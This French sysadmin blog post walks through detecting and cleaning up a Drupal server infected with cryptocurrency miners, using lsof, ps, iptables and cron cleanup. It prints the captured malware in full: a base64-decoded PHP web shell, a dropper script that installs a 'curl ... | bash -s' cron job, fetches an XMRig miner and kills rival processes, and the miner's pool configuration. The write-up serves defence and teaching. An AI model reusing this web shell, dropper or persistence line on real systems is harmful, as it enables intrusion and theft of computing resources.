Le blog de Genma
Vous êtes ici : Accueil » Informatique & Internet » Devenir SysAdmin d’une PME » Devenir SysAdmin d’une PME - Mineur de bitcoin- Billet n°2

Devenir SysAdmin d’une PME - Mineur de bitcoin- Billet n°2

D 24 mai 2018     H 09:00     A Genma     C 5 messages   Logo Tipee

TAGS : Planet Libre Sysadmin Tutoriaux Devenir SysAdmin d’une PME

Ce billet fait partie de la série :
 Devenir SysAdmin d’une PME, retour d’expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s’en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduit à l’infection de serveurs par des mineurs de bitcoin.

Attention :
 je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d’expérience. Et je suis preneur de tout complément d’information dans les commentaires. J’ai gardé les codes sources exactes, j’ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
 le but ici n’est pas d’analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu’en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d’une faille du site sous Drupal qui n’est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne à fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme à la source :

root@machine:~$ lsof -p le_PID
COMMAND    PID     USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME
chron-34e 2059 www-data  cwd    DIR  202,1     4096      2 /
chron-34e 2059 www-data  txt    REG  202,1  2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data    0r  FIFO    0,8      0t0 478384 pipe
chron-34e 2059 www-data    1u   REG  202,1    46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data    2u   REG  202,1    46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data    3u  0000    0,9        0   1202 anon_inode
chron-34e 2059 www-data    8u  0000    0,9        0   1202 anon_inode
chron-34e 2059 www-data    9r   CHR    1,3      0t0   1204 /dev/null
chron-34e 2059 www-data   10u  IPv4 479092      0t0    TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884  0.1  0.0 178868   944 ?        Ssl  06:35   0:00 ./sustes -c config.json -t 1
<code>

Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur

<code>
root@machine:/# lsof -u www-data
COMMAND  PID          USER   FD   TYPE    DEVICE SIZE/OFF      NODE NAME
sh      5399 www-data  cwd    DIR       8,1     4096    817666 /var/www/vhosts/monsite.com
sh      5399 www-data  rtd    DIR       8,1     4096         2 /
sh      5399 www-data  txt    REG       8,1   125400      1088 /bin/dash
sh      5399 www-data  mem    REG       8,1  1738176       161 /lib/x86_64-linux-gnu/libc-2.19.so
sh      5399 www-data  mem    REG       8,1   140928       158 /lib/x86_64-linux-gnu/ld-2.19.so
sh      5399 www-data    0r  FIFO       0,8      0t0 263035594 pipe
sh      5399 www-data    1u   REG       8,1        0     11993 /tmp/tmpfsy8gCO
curl    5400 www-data  cwd    DIR       8,1     4096    817666 /var/www/vhosts/monsite.com
curl    5400 www-data  rtd    DIR       8,1     4096         2 /
curl    5400 www-data  txt    REG       8,1   182216    307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l’IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c’est un noeud d’entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json 
{
    "algo": "cryptonight",  // cryptonight (default) or cryptonight-lite
    "av": 0,                // algorithm variation, 0 auto select
    "background": true,    // true to run the miner in the background
    "colors": true,         // false to disable colored output    
    "cpu-affinity": null,   // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
    "cpu-priority": null,   // set process priority (0 idle, 2 normal to 5 highest)
    "donate-level": 1,      // donate level, mininum 1%
    "log-file": null,       // log all output to a file, example: "c:/some/path/xmrig.log"
    "max-cpu-usage": 95,    // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.  
    "print-time": 60,       // print hashrate report every N seconds
    "retries": 5,           // number of times to retry before switch to backup server
    "retry-pause": 5,       // time to pause between retries
    "safe": false,          // true to safe adjust threads and av settings for current CPU
    "threads": null,        // number of miner threads
    "pools": [
        {
            "url": "158.69.XXXX.XXXX:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "192.99.XXXX.XXXX:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "202.144.XXX.XXX:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        }
    ],    
    "api": {
        "port": 0,                             // port for the miner API https://github.com/xmrig/xmrig/wiki/API
        "access-token": null,                  // access token for API
        "worker-id": null                      // custom worker-id for API
    }
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs 
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d’IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n’est pas lié à Drupal. On trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php  iindex.php
cat lefichier |base64 -d
if(isset($_REQUEST['pass']))
    { 
        echo "<pre>"; 
        $hash = hash("sha512", $_REQUEST['pass']);
        if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
         { if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
        else echo "gtfo";
        echo "</pre>"; 
        die; 
     }

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s’en protéger, le but ici n’est pas d’analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu’en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416  0.0  0.0   4336   764 ?        Ss   09:46   0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418  0.0  0.0  13236  2996 ?        S    09:46   0:00 bash -s
rapport+ 15449  0.0  0.0   5808   692 ?        S    09:46   0:00 sleep 3
root     15595  0.0  0.0  12728  2248 pts/1    S+   09:46   0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535  0 09:47 ?        00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536  0 09:47 ?        00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536  0 09:47 ?        00:00:00 bash -s
rapport+ 16941 15854  0 09:47 ?        00:00:00 php-fpm: pool monsite.com                              
root     16959 14566  0 09:47 pts/1    00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=<span class="base64" title="PGNvZGUgY2xhc3M9InNwaXBfY29kZSBzcGlwX2NvZGVfaW5saW5lIiBkaXI9Imx0ciI+Z3JlcCAtYyBecHJvY2Vzc29yIC9wcm9jL2NwdWluZm88L2NvZGU+"></span>
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=<span class="base64" title="PGNvZGUgY2xhc3M9InNwaXBfY29kZSBzcGlwX2NvZGVfaW5saW5lIiBkaXI9Imx0ciI+JG51bTwvY29kZT4="></span>
nohup ./sustes -c config.json -t <span class="base64" title="PGNvZGUgY2xhc3M9InNwaXBfY29kZSBzcGlwX2NvZGVfaW5saW5lIiBkaXI9Imx0ciI+ZWNobyAkY29yZXM8L2NvZGU+"></span> >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n’a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C’est ce processus masqué qui fait revenir les fichiers...

Ban de l’IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l’astuce est qu’il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data 
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l’utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l’utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le temps que l’on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

5 Messages